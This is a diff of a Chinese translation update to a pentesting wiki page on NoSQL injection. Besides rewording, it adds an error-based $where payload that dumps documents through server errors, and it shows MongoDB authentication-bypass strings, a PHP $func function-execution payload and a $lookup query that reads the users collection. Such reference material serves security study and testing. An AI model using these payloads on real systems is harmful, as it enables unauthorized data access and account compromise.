Translated ['src/pentesting-web/nosql-injection.md'] to zh

src/pentesting-web/nosql-injection.md

@@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
 ```javascript
 query = { $where: `this.username == '${username}'` }
 ```
-攻击者可以通过输入类似 `admin' || 'a'=='a` 的字符串来利用这一点，使查询通过满足一个恒真条件（`'a'=='a'`）返回所有文档。这类似于 SQL 注入攻击，其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中，可以使用类似的注入，输入如 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a`。
+攻击者可以通过输入像 `admin' || 'a'=='a` 这样的字符串来利用这一点，使查询返回所有文档，因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击，其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中，可以使用像 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a` 这样的输入进行类似的注入。
 ```
 Normal sql: ' or 1=1-- -
 Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
@@ -78,7 +78,7 @@ in JSON
 ```
 ### PHP 任意函数执行
 
-使用 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符（默认使用），可能会执行任意函数，如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所述。
+使用默认使用的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符，可能会执行任意函数，如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所示。
 ```python
 "user":{"$func": "var_dump"}
 ```
@@ -86,9 +86,9 @@ in JSON
 
 ### 从不同集合获取信息
 
-可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中，我们从一个名为 **`users`** 的 **不同集合** 中读取，并获取 **所有条目** 的结果，这些条目的密码与通配符匹配。
+可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中，我们从一个名为 **`users`** 的 **不同集合** 中读取，并获取所有与通配符匹配的密码的 **条目结果**。
 
-**注意：** 只有在使用 `aggregate()` 函数进行搜索时，`$lookup` 和其他聚合函数才可用，而不是更常用的 `find()` 或 `findOne()` 函数。
+**注意：** 只有在使用 `aggregate()` 函数进行搜索时，才能使用 `$lookup` 和其他聚合函数，而不是更常用的 `find()` 或 `findOne()` 函数。
 ```json
 [
 {
@@ -108,9 +108,15 @@ in JSON
 }
 ]
 ```
+### 基于错误的注入
+
+在 `$where` 子句中注入 `throw new Error(JSON.stringify(this))` 以通过服务器端 JavaScript 错误导出完整文档（需要应用程序泄露数据库错误）。示例：
+```json
+{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
+```
 ## MongoDB Payloads
 
-列表 [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
+List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 ```
 true, $where: '1 == 1'
 , $where: '1 == 1'
@@ -176,7 +182,7 @@ if 'OK' in r.text:
 print("Found one more char : %s" % (password+c))
 password += c
 ```
-### 从POST登录进行暴力破解登录用户名和密码
+### 从POST登录进行暴力破解用户名和密码
 
 这是一个简单的脚本，您可以对其进行修改，但之前的工具也可以完成此任务。
 ```python
@@ -229,5 +235,6 @@ get_password(u)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
+- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
 
 {{#include ../banners/hacktricks-training.md}}